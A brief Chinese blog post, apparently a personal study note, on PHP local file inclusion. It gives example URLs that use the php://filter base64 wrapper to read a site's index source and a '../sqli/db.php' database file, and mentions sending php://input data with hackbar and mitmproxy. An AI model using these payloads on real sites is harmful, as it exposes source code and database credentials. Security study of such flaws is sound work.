PHP LFI

最新推荐文章于 2024-10-08 16:27:08 发布

iteye_16188

最新推荐文章于 2024-10-08 16:27:08 发布

阅读量204

点赞数

分类专栏： web 文章标签： php

本文链接：https://blog.csdn.net/iteye_16188/article/details/82608785

版权

web 专栏收录该内容

63 篇文章 0 订阅

订阅专栏

1. LFI
http://www.example.com/index.php?m[color=red][b]=php://filter/convert.base64-encode/resource=[/b][/color]index
http://www.example.com/index.php?m[color=red][b]=php://filter/read=convert.base64-encode/resource=../sqli/db.php[/b][/color]

2. php://input可以等效于post数据
使用hackbar插件提交数据
[img]http://dl2.iteye.com/upload/attachment/0102/9926/e7388120-70d6-31d7-b9c6-a478525e5ca9.jpg[/img]

然后使用mitmporxy抓包
[img]http://dl2.iteye.com/upload/attachment/0102/9928/8f0bf0e1-4938-36b8-8515-ff64e5513c0b.jpg[/img]

参考：http://www.freebuf.com/articles/web/14097.html
https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/